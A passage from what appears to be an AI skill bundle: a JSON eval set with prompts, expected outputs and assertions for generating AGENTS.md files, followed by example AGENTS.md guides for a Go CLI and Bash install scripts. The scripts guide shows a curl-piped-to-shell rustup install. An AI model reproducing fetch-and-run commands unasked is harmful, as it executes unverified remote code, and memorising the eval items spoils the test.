            "prompt": "Generate AGENTS.md for this Go project. It's a Docker job scheduler called Ofelia with go-cron integration, integration tests, and GitHub Actions CI.",
            "expected_output": "A root AGENTS.md with Overview, Setup, Commands (make targets, go test), Architecture sections. Commands should be verified against the actual Makefile/go.mod. File paths should reference real files.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Output file AGENTS.md exists in project root",
              "Contains a top-level description section explaining the project",
              "Contains a commands or build section with make targets",
              "Listed make targets match actual Makefile targets",
              "Contains go.mod Go version reference",
              "File paths mentioned in AGENTS.md reference files that actually exist",
              "Uses tables or structured format (not just prose paragraphs)",
              "Does not duplicate content from README.md",
              "Contains CI quality gates from GitHub Actions workflows"
            ]
          },
          {
            "id": 2,
            "eval_name": "generate-agents-typo3-extension",
            "prompt": "Create AGENTS.md for this TYPO3 extension. It's a CKEditor plugin for image handling in the RTE.",
            "expected_output": "A root AGENTS.md with TYPO3-specific sections. Should detect ext_emconf.php, composer.json with typo3-cms-extension type, Classes/ directory structure. Should list composer scripts and CI commands.",
            "files": [],
            "project_path": "/home/cybot/projects/t3x-cowriter/main",
            "assertions": [
              "Output file AGENTS.md exists in project root",
              "Detects TYPO3 extension type",
              "References ext_emconf.php or composer.json type",
              "Lists composer scripts that exist in composer.json",
              "Contains testing or CI section",
              "Directory references match actual project structure",
              "Uses Pointer Principle (references files, doesn't duplicate content)"
            ]
          },
          {
            "id": 3,
            "eval_name": "generate-agents-skill-repo",
            "prompt": "Generate AGENTS.md for this skill repository. It provides CLI tool management for AI agents.",
            "expected_output": "An AGENTS.md appropriate for a skill repo - covering skill structure, SKILL.md location, scripts, references. Should NOT include setup/build sections typical of application projects since skills have no build step.",
            "files": [],
            "project_path": "/home/cybot/projects/cli-tools-skill/main",
            "assertions": [
              "Output file AGENTS.md exists in project root",
              "Identifies project as a skill repository",
              "References skills/cli-tools/SKILL.md",
              "Lists scripts if any exist in the repo",
              "Does NOT contain irrelevant build/compile instructions",
              "Mentions the skill's purpose from SKILL.md description",
              "Structure is concise (under 150 lines for a simple skill repo)"
            ]
          },
          {
            "id": 4,
            "eval_name": "update-outdated-agents",
            "prompt": "Check if the AGENTS.md in this project is current with the codebase. The project has changed since it was last updated. Identify what's outdated and fix it.",
            "expected_output": "A freshness analysis identifying outdated sections, followed by an updated AGENTS.md. Should detect new files, changed commands, or removed components.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Runs freshness check before modifying",
              "Identifies specific outdated sections with evidence",
              "Updated AGENTS.md preserves correct existing content",
              "New content references files that actually exist",
              "Commands listed in updated file actually execute"
            ]
          },
          {
            "id": 5,
            "eval_name": "detect-scoped-files-needed",
            "prompt": "This is a multi-language project with Go backend and TypeScript frontend. Determine if scoped AGENTS.md files are needed and create them if so.",
            "expected_output": "Detection of distinct tech stacks requiring scoped files. Root AGENTS.md should be thin with pointers. Scoped files should have stack-specific details.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Detects multiple tech stacks or distinct subsystems",
              "Root AGENTS.md stays thin (under 80 lines)",
              "Root AGENTS.md links to scoped files",
              "Scoped files contain stack-specific commands and patterns",
              "Each scoped file can stand alone for its directory"
            ]
          },
          {
            "id": 6,
            "eval_name": "multi-language-hybrid-project",
            "prompt": "Generate AGENTS.md for this TYPO3 extension that has both PHP backend (composer, PHPUnit, PHPStan) and JavaScript frontend (npm, Vitest, ESLint). Detect both stacks and organize accordingly.",
            "expected_output": "An AGENTS.md that recognizes both PHP and JS toolchains. Should reference both composer.json and package.json commands. Root should stay focused and not bloated.",
            "files": [],
            "project_path": "/home/cybot/projects/t3x-cowriter/main",
            "assertions": [
              "Detects PHP stack (composer scripts, PHPUnit, ext_emconf.php)",
              "Detects JavaScript stack (npm scripts, Vitest, ESLint)",
              "Lists commands from both composer.json and package.json",
              "Listed commands actually exist in respective config files",
              "Root AGENTS.md stays thin and organized (not a wall of text)",
              "Does not conflate PHP and JS testing commands"
            ]
          },
          {
            "id": 7,
            "eval_name": "freshness-check-stale-agents",
            "prompt": "The AGENTS.md in this project was written months ago. The project has since added new Makefile targets, changed CI workflows, and added new directories. Run a freshness check and update the AGENTS.md to reflect the current state.",
            "expected_output": "A detailed freshness report identifying which sections are stale, what changed in the repo since AGENTS.md was last modified, and a surgically updated AGENTS.md that fixes only the outdated parts.",
            "files": [],
            "project_path": "/home/cybot/projects/t3x-cowriter/main",
            "assertions": [
              "Compares AGENTS.md modification time against recent git history",
              "Identifies specific sections that reference outdated or missing files",
              "Preserves sections that are still accurate",
              "Updated content references files and commands that currently exist",
              "Does not rewrite the entire file when only parts are stale"
            ]
          },
          {
            "id": 8,
            "eval_name": "edge-case-minimal-project",
            "prompt": "Generate AGENTS.md for this minimal project. It has very little structure - just a few files. Produce something useful without fabricating content.",
            "expected_output": "A minimal but valid AGENTS.md that accurately reflects the sparse project. Should not invent build systems, test frameworks, or architecture that doesn't exist.",
            "files": [],
            "project_path": "/home/cybot/projects/agent-rules-skill/main",
            "assertions": [
              "Output file AGENTS.md exists and is valid markdown",
              "Does not fabricate build commands that don't exist in the project",
              "Does not invent test frameworks or CI pipelines not present",
              "Accurately reflects actual project structure (skill repo layout)",
              "Every file path mentioned actually exists in the project"
            ]
          },
          {
            "id": 9,
            "eval_name": "verified-commands-principle",
            "prompt": "Generate AGENTS.md for this project. Every command you list must actually work. After generating, verify each command by attempting to run it (dry-run where possible).",
            "expected_output": "An AGENTS.md where every shell command, make target, and script listed has been verified to exist. No aspirational or copied-from-template commands.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Every make target listed exists in the Makefile",
              "Every go command listed is valid (go test, go build, etc.)",
              "No commands from other projects or templates leak in",
              "Commands include correct flags and paths for this specific project",
              "Does not list commands like npm, composer, cargo that don't apply to this Go project"
            ]
          },
          {
            "id": 10,
            "eval_name": "cross-platform-copilot-instructions",
            "prompt": "Generate agent rules for this project. Create both AGENTS.md and .github/copilot-instructions.md. Ensure content is consistent between them but format-appropriate for each platform.",
            "expected_output": "Two files: AGENTS.md and .github/copilot-instructions.md. Both should describe the same project accurately. copilot-instructions.md should follow GitHub Copilot prose format.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "AGENTS.md exists in outputs",
              "copilot-instructions.md exists in outputs",
              "Both files describe the same project with consistent facts",
              "copilot-instructions.md follows GitHub Copilot prose format",
              "No contradictions between the two files",
              "copilot-instructions.md does not just copy AGENTS.md verbatim"
            ]
          },
          {
            "id": 11,
            "eval_name": "ci-rules-extraction",
            "prompt": "Generate AGENTS.md for this Go project. Include CI quality gates, required checks, and version requirements from the GitHub Actions workflows.",
            "expected_output": "AGENTS.md includes CI/Quality Gates section extracted from .github/workflows/ with specific versions, required checks, and linting configs.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Contains CI quality gates or required checks section",
              "Lists Go version from CI matrix or go.mod",
              "References specific CI workflow files",
              "Mentions golangci-lint or linting configuration if present",
              "Does not fabricate CI rules that don't exist in workflows"
            ]
          },
          {
            "id": 12,
            "eval_name": "architecture-boundaries",
            "prompt": "Generate AGENTS.md for this Go project. Include module boundaries and architectural constraints from the codebase structure.",
            "expected_output": "AGENTS.md includes architecture section noting internal/ packages, module boundaries, and dependency patterns.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Documents module or package boundaries from the codebase",
              "Identifies architecture pattern from directory structure",
              "References actual directory structure as evidence",
              "Does not fabricate architectural rules not visible in code"
            ]
          },
          {
            "id": 13,
            "eval_name": "adr-extraction",
            "prompt": "Generate AGENTS.md for this project. Include any architectural decision records found in docs/adr/ or similar locations.",
            "expected_output": "AGENTS.md includes Key Decisions section listing ADR titles with summaries and file links.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Checks for docs/adr/ or similar ADR directories",
              "If ADRs exist, lists titles with one-line summaries",
              "Links to the ADR files rather than duplicating content",
              "Does not fabricate decisions that don't exist"
            ]
          },
          {
            "id": 14,
            "eval_name": "symlink-creation",
            "prompt": "Generate AGENTS.md for this project with CLAUDE.md and GEMINI.md symlinks for cross-agent compatibility. Verify symlinks are correct at every level.",
            "expected_output": "Root and scoped AGENTS.md files plus CLAUDE.md and GEMINI.md symlinks at every directory that has an AGENTS.md.",
            "files": [],
            "project_path": "/home/cybot/projects/ldap-selfservice-password-changer",
            "assertions": [
              "Root CLAUDE.md exists and is a symlink to AGENTS.md",
              "Root GEMINI.md exists and is a symlink to AGENTS.md",
              "Subdirectory AGENTS.md files also have CLAUDE.md symlinks",
              "All symlinks use relative paths (not absolute)",
              "Root AGENTS.md lists all scoped AGENTS.md paths in an index"
            ]
          },
          {
            "id": 15,
            "eval_name": "symlink-safety-no-overwrite",
            "prompt": "This project already has a CLAUDE.md with custom content (not a symlink). Generate AGENTS.md with --symlinks. Verify that the existing CLAUDE.md is NOT overwritten.",
            "expected_output": "The existing non-symlink CLAUDE.md should be preserved. A warning should be logged.",
            "files": [],
            "project_path": "/home/cybot/projects/ldap-selfservice-password-changer",
            "assertions": [
              "Existing non-symlink CLAUDE.md is preserved without --force",
              "A log message warns that CLAUDE.md exists and is not a symlink",
              "AGENTS.md itself is not affected by --symlinks flag"
            ]
          },
          {
            "id": 16,
            "eval_name": "git-hooks-detection",
            "prompt": "I'm about to start working on this project -- what git hooks does it use and are they set up?",
            "expected_output": "Should detect the hook framework (lefthook, husky, captainhook, or pre-commit) and explain how to install. If none exists, should flag the gap.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Checks for lefthook.yml, .husky/, captainhook.json, .pre-commit-config.yaml",
              "Reports which hook framework is found (or none)",
              "If hooks exist, explains install command",
              "If no hooks exist, recommends adding one",
              "Does not assume a hook framework without evidence"
            ]
          },
          {
            "id": 17,
            "eval_name": "pointer-principle-no-duplication",
            "prompt": "Generate AGENTS.md for this project. The README.md already has extensive setup instructions. Do NOT duplicate README content -- point to it instead.",
            "expected_output": "AGENTS.md should reference README.md for setup details rather than copying them. Uses the Pointer Principle.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Does not copy setup instructions from README.md verbatim",
              "Contains 'see README.md' or similar pointer for detailed setup",
              "Root AGENTS.md stays under 80 lines",
              "Focuses on agent-specific info (commands, boundaries, heuristics)",
              "References README.md as a source but adds agent-specific value"
            ]
          },
          {
            "id": 18,
            "eval_name": "validate-structure-compliance",
            "prompt": "Run the validate-structure.sh script on this project and report any structural issues found in the existing AGENTS.md.",
            "expected_output": "Script output showing which sections pass/fail validation. Should identify missing recommended sections and structural issues.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Runs scripts/validate-structure.sh against the project",
              "Reports pass/fail for each structural check",
              "Identifies missing recommended sections",
              "Does not crash on valid AGENTS.md files",
              "Output is parseable and actionable"
            ]
          },
          {
            "id": 19,
            "eval_name": "python-project-detection",
            "prompt": "Generate AGENTS.md for this Python project. It uses poetry for dependency management, pytest for testing, and ruff for linting.",
            "expected_output": "An AGENTS.md with Python-specific sections. Should detect pyproject.toml, poetry.lock, ruff config, and pytest settings.",
            "files": [],
            "project_path": "/home/cybot/projects/python-project/main",
            "assertions": [
              "Detects Python project from pyproject.toml or setup.py",
              "Lists poetry commands if poetry.lock exists",
              "References pytest configuration",
              "Lists ruff or linting commands",
              "Does not list npm/composer/go commands for a Python project"
            ]
          },
          {
            "id": 20,
            "eval_name": "template-selection-thin-vs-verbose",
            "prompt": "Generate AGENTS.md for this small Go library. Use the thin template style -- the file should be minimal and focused.",
            "expected_output": "A thin AGENTS.md under 50 lines with only essential sections: Commands, File Map, Heuristics, Boundaries.",
            "files": [],
            "project_path": "/home/cybot/projects/simple-ldap-go/main",
            "assertions": [
              "Output is under 50 lines",
              "Contains Commands section with actual build/test commands",
              "Contains precedence statement",
              "Contains index of scoped files if any exist",
              "Omits verbose sections like full architecture descriptions"
            ]
          },
          {
            "id": 21,
            "eval_name": "verify-content-accuracy",
            "prompt": "Run verify-content.sh on this project. Report any documented files that don't exist and any important undocumented files.",
            "expected_output": "Content verification showing documented-but-missing files and undocumented-but-important files.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Runs scripts/verify-content.sh against the project",
              "Reports files referenced in AGENTS.md that don't exist",
              "Reports important files not mentioned in AGENTS.md",
              "Does not report false positives for valid paths",
              "Output clearly distinguishes missing from undocumented"
            ]
          },
          {
            "id": 22,
            "eval_name": "heuristics-table-generation",
            "prompt": "Generate AGENTS.md for this project. Include a Heuristics table with project-specific quick-decision rules based on the codebase conventions.",
            "expected_output": "A Heuristics section with When/Do table entries derived from actual project patterns (commit style, merge strategy, dependency policy).",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Contains a Heuristics section with table format",
              "Heuristics are derived from actual project config (not generic)",
              "Includes commit convention rule if conventional commits detected",
              "Includes merge strategy if branch protection detected",
              "Each heuristic is actionable (not vague advice)"
            ]
          },
          {
            "id": 23,
            "eval_name": "no-fabrication-unknown-project",
            "prompt": "Generate AGENTS.md for /tmp/empty-project which contains only a single README.md with 'Hello World'. Do not fabricate any content.",
            "expected_output": "A minimal AGENTS.md acknowledging the sparse project. No fabricated commands, test frameworks, or architecture.",
            "files": [],
            "project_path": "/tmp/empty-project",
            "assertions": [
              "Does not list build commands that don't exist",
              "Does not reference test frameworks not present",
              "Does not invent CI pipelines",
              "Produces a valid markdown file",
              "May suggest next steps but does not pretend they exist"
            ]
          },
          {
            "id": 24,
            "eval_name": "scoped-agents-override-root",
            "prompt": "This project has a root AGENTS.md saying 'use tabs for indentation'. The internal/web/ directory uses TypeScript with prettier configured for 2-space indentation. Generate a scoped AGENTS.md for internal/web/ that correctly overrides the root rule.",
            "expected_output": "A scoped AGENTS.md that specifies 2-space indentation for TypeScript, overriding the root tab rule for this directory.",
            "files": [],
            "project_path": "/home/cybot/projects/ldap-selfservice-password-changer",
            "assertions": [
              "Scoped file mentions its own indentation convention",
              "Does not blindly repeat root conventions that don't apply",
              "References prettier or editorconfig as source of truth",
              "Includes a note about scope override or precedence"
            ]
          },
          {
            "id": 25,
            "eval_name": "github-rulesets-extraction",
            "prompt": "Generate AGENTS.md for this project. Extract GitHub repository rulesets and merge rules to document branch protection and required checks.",
            "expected_output": "AGENTS.md includes repository settings section with merge strategy, branch protection rules, and required status checks.",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Contains repository settings or merge rules section",
              "Documents merge strategy (squash/merge/rebase)",
              "Documents required checks if available",
              "Information matches actual GitHub settings",
              "Does not fabricate branch protection rules"
            ]
          },
          {
            "id": 26,
            "eval_name": "detect-hooks-existing-framework",
            "prompt": "I'm about to start working on /home/cybot/projects/ofelia/main/ — what git hooks does this project use and are they set up?",
            "expected_output": "Should detect lefthook.yml and explain how to install (make setup or lefthook install)",
            "files": [],
            "project_path": "/home/cybot/projects/ofelia/main",
            "assertions": [
              "Names lefthook as the framework in use, from lefthook.yml rather than from a guess",
              "States how to install the hooks (lefthook install, or the make target that wraps it)",
              "Does not claim hooks are active merely because a config file exists — installation is a separate step"
            ]
          },
          {
            "id": 27,
            "eval_name": "detect-hooks-none-configured",
            "prompt": "I'm starting work on /home/cybot/projects/assetpicker/main/ — are git hooks configured?",
            "expected_output": "Should detect NO hook framework and suggest adding one",
            "files": [],
            "project_path": "/home/cybot/projects/assetpicker/main",
            "assertions": [
              "Reports that no hook framework is configured, having looked for the candidates rather than assuming",
              "Proposes one, naming it",
              "Does not invent a hook setup the repository does not have"
            ]
          },
          {
            "id": 28,
            "eval_name": "scaffold-includes-agents-md",
            "prompt": "Scaffold a brand-new extension repository: composer.json, CI workflow, test runner. What belongs in the initial commits?",
            "expected_output": "AGENTS.md (plus CLAUDE.md/GEMINI.md symlinks), generated via detect -> extract -> generate -> verify, belongs in the initial scaffold commits, not deferred - the scaffolding session holds every fact, while retrofitting later requires a full re-verification pass against a codebase no longer in anyone's context.",
            "files": [],
            "project_path": "",
            "assertions": [
              "Puts AGENTS.md in the INITIAL scaffold commits rather than deferring it to later",
              "Mentions the CLAUDE.md / GEMINI.md symlinks alongside it",
              "Gives the reason: the scaffolding session holds every fact, while retrofitting requires re-verifying against a codebase nobody has in context any more"
            ]
          }
        ]
      }
      
  • references
    • examples
      • coding-agent-cli
        • AGENTS.md 2.5 KB
          <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
          <!-- Managed by agent: keep sections and order; edit content, not structure -->
          <!-- Last updated: 2026-02-05 | Last verified: never -->
          
          # AGENTS.md
          
          **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
          
          ## Commands (unverified)
          > Source: go.mod — CI-sourced commands are most reliable
          
          <!-- AGENTS-GENERATED:START commands -->
          | Task | Command | ~Time |
          |------|---------|-------|
          | Typecheck | go build -v ./... | ~15s |
          | Format | gofmt -w . | ~5s |
          | Test (single) | go test -v -race | ~2s |
          | Test (all) | go test -v -race -short ./... | ~30s |
          | Build | go build -v ./... | ~30s |
          <!-- AGENTS-GENERATED:END commands -->
          
          > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
          
          ## Workflow
          1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
          2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
          3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
          
          ## Heuristics (quick decisions)
          <!-- AGENTS-GENERATED:START heuristics -->
          | When | Do |
          |------|-----|
          | Adding package | Internal → `internal/`, Public → `pkg/` |
          | Committing | Use Conventional Commits (feat:, fix:, docs:, etc.) |
          | Merging PRs | Squash and merge |
          | Adding dependency | Ask first - we minimize deps |
          | Unsure about pattern | Check Golden Samples above |
          <!-- AGENTS-GENERATED:END heuristics -->
          
          ## Repository Settings
          <!-- AGENTS-GENERATED:START repo-settings -->
          - **Default branch:** `main`
          - **Merge strategy:** squash, merge, rebase
          <!-- AGENTS-GENERATED:END repo-settings -->
          
          ## Boundaries
          
          ### Always Do
          - Run pre-commit checks before committing
          - Add tests for new code paths
          - Use conventional commit format: `type(scope): subject`
          - Follow Go 1.25 conventions and idioms
          
          ### Ask First
          - Adding new dependencies
          - Modifying CI/CD configuration
          - Changing public API signatures
          - Running full e2e test suites
          - Repo-wide refactoring or rewrites
          
          ### Never Do
          - Commit secrets, credentials, or sensitive data
          - Modify vendor/, node_modules/, or generated files
          - Push directly to main/master branch
          - Delete migration files or schema changes
          - Commit go.sum without go.mod changes
          
          ## When instructions conflict
          The nearest `AGENTS.md` wins. Explicit user prompts override files.
          - For Go-specific patterns, defer to language idioms and standard library conventions
          
        • go.mod 45 B · in bundle
        • scripts-AGENTS.md 10.1 KB
          <!-- Managed by agent: keep sections & order; edit content, not structure. Last updated: 2025-10-09 -->
          
          # Installation Scripts - Agent Guide
          
          **Scope:** Shell scripts for tool installation, update, uninstall, reconcile
          
          ## Overview
          
          13+ Bash scripts for installing developer tools with multiple actions:
          - **install**: Fresh installation (default action)
          - **update**: Upgrade to latest version
          - **uninstall**: Remove installation
          - **reconcile**: Switch to preferred installation method (e.g., system → user)
          
          **Key scripts:**
          - `install_core.sh`: Core tools (fd, fzf, ripgrep, jq, yq, bat, delta, just)
          - `install_python.sh`: Python toolchain via uv
          - `install_node.sh`: Node.js via nvm
          - `install_rust.sh`: Rust via rustup
          - `install_go.sh`, `install_aws.sh`, `install_kubectl.sh`, etc.
          - `guide.sh`: Interactive upgrade guide
          - `test_smoke.sh`: Smoke test for audit output
          
          **Shared utilities:** `lib/` directory (colors, logging, common functions)
          
          ## Setup
          
          **Requirements:**
          - Bash 4.0+
          - `curl` or `wget` for downloads
          - Internet access for fresh installs
          - Appropriate permissions (user for `~/.local/bin`, sudo for system)
          
          **Environment variables:**
          ```bash
          INSTALL_PREFIX=${INSTALL_PREFIX:-~/.local}  # Default: user-level
          FORCE_INSTALL=1                              # Skip confirmation prompts
          DEBUG=1                                      # Verbose output
          ```
          
          **Permissions:**
          ```bash
          make scripts-perms  # Ensure all scripts are executable
          ```
          
          ## Build & Tests
          
          **Run individual script:**
          ```bash
          # Install action (default)
          ./scripts/install_python.sh
          
          # Update action
          ./scripts/install_python.sh update
          
          # Uninstall action
          ./scripts/install_python.sh uninstall
          
          # Reconcile action (switch installation method)
          ./scripts/install_node.sh reconcile
          ```
          
          **Via Make:**
          ```bash
          make install-python              # Install Python toolchain
          make update-python               # Update Python toolchain
          make uninstall-python            # Uninstall Python toolchain
          make reconcile-node              # Switch Node.js to nvm-managed
          ```
          
          **Smoke test:**
          ```bash
          ./scripts/test_smoke.sh          # Verify audit output format
          ```
          
          **Debug mode:**
          ```bash
          DEBUG=1 ./scripts/install_python.sh
          bash -x ./scripts/install_python.sh  # Trace execution
          ```
          
          ## Code Style
          
          **Shell standards:**
          - Bash 4.0+ features allowed
          - Shebang: `#!/usr/bin/env bash` or `#!/bin/bash`
          - Set strict mode: `set -euo pipefail`
            - `-e`: Exit on error
            - `-u`: Error on undefined variables
            - `-o pipefail`: Fail on pipe errors
          
          **Formatting:**
          - 4-space indentation (matches EditorConfig)
          - Function names: lowercase_with_underscores
          - Constants: UPPER_CASE
          - Local variables: lowercase
          
          **Structure:**
          ```bash
          #!/usr/bin/env bash
          set -euo pipefail
          
          # Source shared utilities
          SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
          source "${SCRIPT_DIR}/lib/colors.sh" || true
          source "${SCRIPT_DIR}/lib/common.sh" || true
          
          # Main function per action
          install_tool() {
              echo_info "Installing <tool>..."
              # Implementation
          }
          
          update_tool() {
              echo_info "Updating <tool>..."
              # Implementation
          }
          
          uninstall_tool() {
              echo_info "Uninstalling <tool>..."
              # Implementation
          }
          
          reconcile_tool() {
              echo_info "Reconciling <tool>..."
              # Implementation
          }
          
          # Action dispatcher
          ACTION="${1:-install}"
          case "$ACTION" in
              install) install_tool ;;
              update) update_tool ;;
              uninstall) uninstall_tool ;;
              reconcile) reconcile_tool ;;
              *) echo "Usage: $0 {install|update|uninstall|reconcile}"; exit 1 ;;
          esac
          ```
          
          **Error handling:**
          ```bash
          # Good: Check command exists before using
          if ! command -v curl >/dev/null 2>&1; then
              echo_error "curl not found. Install it first."
              exit 1
          fi
          
          # Good: Check return codes
          if ! download_file "$URL" "$DEST"; then
              echo_error "Download failed"
              exit 1
          fi
          
          # Good: Cleanup on error
          trap 'rm -rf "$TMPDIR"' EXIT ERR
          ```
          
          **Confirmation prompts:**
          ```bash
          # Good: Skip prompt if FORCE_INSTALL=1
          if [[ "${FORCE_INSTALL:-0}" != "1" ]]; then
              read -p "Install <tool>? [y/N] " -n 1 -r
              echo
              [[ ! $REPLY =~ ^[Yy]$ ]] && exit 0
          fi
          ```
          
          ## Security
          
          **Download verification:**
          ```bash
          # Always use HTTPS
          URL="https://github.com/owner/repo/releases/download/..."
          
          # Verify checksums when available
          EXPECTED_SHA256="abc123..."
          ACTUAL_SHA256=$(sha256sum "$FILE" | awk '{print $1}')
          if [[ "$ACTUAL_SHA256" != "$EXPECTED_SHA256" ]]; then
              echo_error "Checksum mismatch!"
              exit 1
          fi
          ```
          
          **Path safety:**
          ```bash
          # Good: Quote variables, use absolute paths
          INSTALL_DIR="${HOME}/.local/bin"
          mkdir -p "$INSTALL_DIR"
          mv "$TMPFILE" "$INSTALL_DIR/tool"
          
          # Bad: Unquoted, relative paths
          mkdir -p $INSTALL_DIR
          mv tool bin/
          ```
          
          **Sudo usage:**
          ```bash
          # Good: Prompt for sudo only when needed
          if [[ "$INSTALL_PREFIX" == "/usr/local" ]]; then
              if ! sudo -v; then
                  echo_error "Sudo required for system installation"
                  exit 1
              fi
              sudo mv "$FILE" "$INSTALL_PREFIX/bin/"
          else
              # User-level, no sudo
              mv "$FILE" "$INSTALL_PREFIX/bin/"
          fi
          ```
          
          **No secrets in scripts:**
          - No API keys, tokens, passwords in scripts
          - Use environment variables: `${GITHUB_TOKEN:-}`
          - Document required env vars in script comments
          
          ## PR/Commit Checklist
          
          **Before commit:**
          - [ ] Run `shellcheck <script>` (if available)
          - [ ] Test install action: `./scripts/install_<tool>.sh`
          - [ ] Test update action: `./scripts/install_<tool>.sh update`
          - [ ] Test uninstall action: `./scripts/install_<tool>.sh uninstall`
          - [ ] Update `scripts/README.md` if new script or behavior change
          - [ ] Verify script permissions: `make scripts-perms`
          
          **Script checklist:**
          - [ ] Shebang: `#!/usr/bin/env bash`
          - [ ] Strict mode: `set -euo pipefail`
          - [ ] Source shared lib: `source "${SCRIPT_DIR}/lib/colors.sh"`
          - [ ] Action dispatcher (install/update/uninstall/reconcile)
          - [ ] Error handling (check return codes, trap on exit)
          - [ ] Confirmation prompts (respect FORCE_INSTALL)
          - [ ] PATH updates (add to ~/.bashrc or ~/.zshrc if needed)
          
          **Commit messages:**
          - `feat(scripts): add install_terraform.sh`
          - `fix(install-python): handle uv bootstrap failure`
          - `docs(scripts): update README with reconcile action`
          
          ## Good vs Bad Examples
          
          **Good: Robust download with fallback**
          ```bash
          download_file() {
              local url="$1"
              local dest="$2"
          
              if command -v curl >/dev/null 2>&1; then
                  curl -fsSL "$url" -o "$dest"
              elif command -v wget >/dev/null 2>&1; then
                  wget -q "$url" -O "$dest"
              else
                  echo_error "Neither curl nor wget found"
                  return 1
              fi
          }
          ```
          
          **Bad: Assumes curl exists**
          ```bash
          download_file() {
              curl -fsSL "$1" -o "$2"  # Fails if curl not installed
          }
          ```
          
          **Good: Version comparison**
          ```bash
          version_gt() {
              test "$(printf '%s\n' "$@" | sort -V | head -n 1)" != "$1"
          }
          
          CURRENT_VERSION="1.2.3"
          LATEST_VERSION="1.3.0"
          
          if version_gt "$LATEST_VERSION" "$CURRENT_VERSION"; then
              echo "Upgrade available"
          fi
          ```
          
          **Bad: String comparison for versions**
          ```bash
          if [[ "$LATEST_VERSION" > "$CURRENT_VERSION" ]]; then
              # Wrong: "1.10.0" < "1.9.0" (string comparison)
              echo "Upgrade available"
          fi
          ```
          
          **Good: Cleanup on exit**
          ```bash
          TMPDIR=$(mktemp -d)
          trap 'rm -rf "$TMPDIR"' EXIT ERR
          
          # Download to temp
          download_file "$URL" "$TMPDIR/file"
          # ... process ...
          # Cleanup happens automatically via trap
          ```
          
          **Bad: Manual cleanup (error-prone)**
          ```bash
          TMPDIR=$(mktemp -d)
          download_file "$URL" "$TMPDIR/file"
          # ... process ...
          rm -rf "$TMPDIR"  # Skipped if earlier command fails
          ```
          
          **Good: Action-specific logic**
          ```bash
          install_rust() {
              if command -v rustup >/dev/null 2>&1; then
                  echo_warn "rustup already installed"
                  return 0
              fi
          
              curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
              source "$HOME/.cargo/env"
          }
          
          update_rust() {
              if ! command -v rustup >/dev/null 2>&1; then
                  echo_error "rustup not installed. Run install first."
                  return 1
              fi
          
              rustup update
          }
          ```
          
          ## When Stuck
          
          **Script fails silently:**
          1. Add debug: `bash -x ./scripts/install_<tool>.sh`
          2. Check logs: `./scripts/install_<tool>.sh 2>&1 | tee install.log`
          3. Verify permissions: `ls -la scripts/`
          
          **Download fails:**
          1. Check network: `curl -I https://github.com`
          2. Check URL: `echo "$URL"` (verify it's correct)
          3. Try manual download: `curl -fsSL "$URL"`
          
          **Installation fails:**
          1. Check prerequisites (e.g., Python for uv, curl for rustup)
          2. Check disk space: `df -h`
          3. Check permissions: `ls -ld "$INSTALL_PREFIX"`
          
          **PATH not updated:**
          1. Source shell config: `source ~/.bashrc` or `source ~/.zshrc`
          2. Check PATH: `echo $PATH | tr ':' '\n' | grep local`
          3. Verify binary location: `ls -la ~/.local/bin/<tool>`
          
          **Reconcile fails:**
          1. Check current installation: `which <tool>`
          2. Check installation method: `cli_audit.py --only <tool>`
          3. Manually remove old version first: `apt remove <tool>` or `cargo uninstall <tool>`
          
          **Documentation:**
          - Script-specific docs: [README.md](README.md) (this directory)
          - Troubleshooting: [../docs/TROUBLESHOOTING.md](../docs/TROUBLESHOOTING.md)
          - Architecture: [../docs/DEPLOYMENT.md](../docs/DEPLOYMENT.md#installation-scripts)
          
          ## House Rules
          
          **Installation preferences** (Phase 2 planning):
          - User-level preferred: `~/.local/bin` (workstations)
          - System-level for servers: `/usr/local/bin`
          - Vendor tools first: rustup, nvm, uv over system packages
          - See [../docs/adr/ADR-002-package-manager-hierarchy.md](../docs/adr/ADR-002-package-manager-hierarchy.md)
          
          **Reconciliation strategy:**
          - Parallel approach: Keep both installations, prefer user via PATH
          - No automatic removal (user chooses)
          - See [../docs/adr/ADR-003-parallel-installation-approach.md](../docs/adr/ADR-003-parallel-installation-approach.md)
          
          **Version policy:**
          - Always latest by default
          - Warn on major version upgrades
          - See [../docs/adr/ADR-004-always-latest-version-policy.md](../docs/adr/ADR-004-always-latest-version-policy.md)
          
          **Script structure:**
          - Multi-action support: install, update, uninstall, reconcile
          - Shared utilities in `lib/`
          - Consistent error handling and logging
          - Make integration via `make install-<tool>`
          
          ---
          
          **Quick Start:** Run `make install-core` to install essential tools, then `make audit` to verify.
          
          **Troubleshooting:** See [README.md](README.md) for per-script troubleshooting and [../docs/TROUBLESHOOTING.md](../docs/TROUBLESHOOTING.md) for general issues.
          
      • express-api-ts
        • src
          • controllers
            • userController.ts 2.1 KB
              import type { Request, Response, NextFunction } from 'express';
              import { z } from 'zod';
              import { AppError } from '../utils/errors.js';
              
              const createUserSchema = z.object({
                email: z.string().email(),
                name: z.string().min(1).max(100),
              });
              
              const updateUserSchema = createUserSchema.partial();
              
